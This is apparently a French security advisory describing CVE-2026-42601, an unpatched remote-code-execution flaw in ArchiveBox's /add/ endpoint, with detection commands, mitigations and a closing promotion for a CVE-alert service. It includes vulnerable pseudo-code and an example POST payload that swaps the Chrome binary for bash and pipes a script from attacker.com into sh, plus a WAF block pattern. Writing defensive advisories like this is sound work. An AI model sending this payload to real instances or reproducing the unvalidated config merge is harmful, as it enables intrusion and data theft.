ArchiveBox est un outil d'archivage web open-source ultra-populaire dans la communauté des indie hackers, archivistes, et équipes recherche — il sauvegarde des pages web localement avec leurs assets, captures d'écran, PDF, WARC, etc. CVE-2026-42601 (CVSS 9.8) révèle une vulnérabilité critique dans son endpoint /add/ : un champ JSON config envoyé par l'utilisateur est mergé dans la configuration de crawl sans validation, puis exporté comme variables d'environnement aux plugins d'archivage. Résultat : injection d'arguments arbitraires et exécution de code à distance.
Le détail qui fait mal : aucun patch officiel n'est disponible à ce jour. Toutes les versions ≤ 0.8.6rc0 sont vulnérables, et l'unique mitigation viable consiste à isoler ou retirer le service jusqu'à publication d'un correctif.
Détails techniques
Composant vulnérable
ArchiveBox expose une interface web pour ajouter de nouvelles URLs à archiver. L'endpoint /add/ (vue AddView dans core/views.py) accepte un champ JSON config qui devait initialement permettre à un admin de personnaliser le crawl par URL (timeout, user-agent, etc.).
Le problème : ce JSON est mergé directement dans la configuration globale sans aucune sanitization. Puis, quand les plugins d'archivage s'exécutent (wget, youtube-dl, chrome --headless, singlefile, etc.), la config résultante est exportée comme variables d'environnement au processus enfant.
Le chemin d'exploitation
# Pseudo-code reconstitué — pattern vulnérable
def AddView(request):
url = request.POST.get("url")
user_config = json.loads(request.POST.get("config", "{}"))
crawl_config = {**DEFAULT_CONFIG, **user_config} # ⚠️ merge non validé
for plugin in plugins:
env = {k.upper(): str(v) for k, v in crawl_config.items()} # ⚠️ tous les keys deviennent env vars
subprocess.run([plugin.command, url], env=env)
Un attaquant envoie un POST :
{
"url": "https://example.com",
"config": {
"CHROME_BINARY": "/usr/bin/bash",
"CHROME_ARGS": "-c 'curl attacker.com/p.sh | sh'"
}
}
Le plugin Chrome reçoit ces variables comme env, et au lieu de lancer le navigateur, lance bash avec le payload.
Caractéristiques
| Champ | Valeur |
|---|---|
| CVSS 3.1 | 9.8 (CRITICAL) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS Command Injection) + CWE-454 (External Initialization of Trusted Variables) |
| Authentification | Aucune par défaut sur les déploiements publics |
| État du correctif | ❌ Aucun patch officiel disponible |
Produits et versions affectés
| Produit | Versions affectées | Version corrigée |
|---|---|---|
| ArchiveBox | ≤ 0.8.6rc0 (toutes versions actuelles) | ❌ Aucune |
Vérifie ta version :
# Docker
docker exec archivebox archivebox version
# Pip
pip show archivebox | grep Version
Exploitation et impact
Surface d'exposition réelle
Beaucoup d'instances ArchiveBox sont exposées publiquement sans authentification :
- Personal hosting d'archivistes amateurs
- Bibliothèques universitaires utilisant ArchiveBox comme "Wayback Machine" privée
- Plateformes communautaires (mémoire web, journalisme citoyen)
Une recherche Shodan/Censys montre régulièrement plusieurs milliers d'instances accessibles. Toutes sont immédiatement exploitables.
Impact post-exploitation
- RCE dans le conteneur/container ArchiveBox : accès au filesystem, aux archives stockées
- Vol de données archivées : pour des contenus journalistiques ou de recherche, ça peut inclure des sources sensibles, des leaks documentés
- Pivot LAN : ArchiveBox tourne souvent sur un homelab ou un VPS partagé
- Recrutement botnet / cryptomining : les ressources CPU sont substantielles vu les processus de crawl
Public exploit
Aucun PoC public détaillé à ce jour, mais l'exploit est trivial vu la description publique. Compte 24-48h avant les premiers scanners automatisés.
Détection et IOC
Logs ArchiveBox
# Recherche d'appels /add/ avec un body JSON config non standard
grep -E "POST /add" /var/log/archivebox/access.log | \
grep -E "config.*CHROME|config.*BINARY|config.*PATH"
Logs système
# Processus lancés par ArchiveBox avec des binaires inattendus
ps -ef | grep -i "archivebox" | grep -vE "wget|chrome|python|node"
# Variables d'environnement injectées de façon louche
# (inspecte les processus enfants via /proc)
for pid in $(pgrep -P $(pgrep archivebox)); do
cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "binary|command|args"
done
Indicateurs de compromission
- Connexions sortantes inattendues depuis le conteneur/host ArchiveBox
- Fichiers binaires ajoutés dans
/tmp,/var/tmp,/dev/shm - Modifications de crontab ou systemd services
- Trafic réseau anormal vers des destinations non-archivées
Mitigation — sans patch officiel
Option 1 — Isolation réseau immédiate
Si ton instance ArchiveBox est exposée sur Internet :
# Bloquer toute requête HTTP entrante hors du LAN
sudo ufw deny in 8000/tcp
sudo ufw allow from 192.168.1.0/24 to any port 8000
# Ou via Docker
# Modifier docker-compose pour binder uniquement sur 127.0.0.1
ports:
- "127.0.0.1:8000:8000"
Puis recharge :
docker compose up -d
Option 2 — Authentification obligatoire
ArchiveBox supporte une authentification basique. Vérifie qu'elle est activée :
# Configuration ArchiveBox
archivebox config --set PUBLIC_INDEX=False
archivebox config --set PUBLIC_ADD_VIEW=False
archivebox config --set REQUIRE_LOGIN=True
Puis crée un compte admin si pas déjà fait :
archivebox manage createsuperuser
⚠️ Cette mitigation est partielle : un attaquant qui devine ou phish un compte admin peut toujours exploiter.
Option 3 — Reverse proxy avec WAF
Si tu maintiens une exposition publique (cas peu recommandé), mets un Nginx + ModSecurity devant :
location /add/ {
# Bloque les requêtes contenant des patterns suspects dans le body JSON
if ($request_body ~ "(_BINARY|_COMMAND|_ARGS|PATH|/bin/|/usr/bin/)") {
return 403;
}
proxy_pass http://archivebox:8000;
}
Option 4 — Retrait pur et simple
Pour les instances de production avec données sensibles : éteindre le service jusqu'à publication d'un patch officiel par l'équipe ArchiveBox. C'est dur mais c'est la seule option qui élimine totalement le risque.
docker compose stop archivebox
Surveillance proactive
Abonne-toi au repo GitHub ArchiveBox pour être notifié dès qu'un patch est publié :
https://github.com/ArchiveBox/ArchiveBox/releases
Pourquoi surveiller en continu votre selfhosted
Les outils self-hosted (ArchiveBox, Vaultwarden, Bitwarden CE, Jellyfin, Nextcloud, Gitea…) sont massivement déployés dans les homelabs et les PME, souvent sans visibilité de sécurité. Une CVE comme CVE-2026-42601 — sans patch, sans communication large, sans CISA KEV — peut passer inaperçue plusieurs semaines tout en étant exploitable triviallement.
Avec cveo.tech, inventoriez vos services self-hosted comme vos systèmes core et recevez un email automatique dès qu'une CVE critique vise une de vos versions exactes — même quand l'éditeur ne communique pas, votre veille est à jour.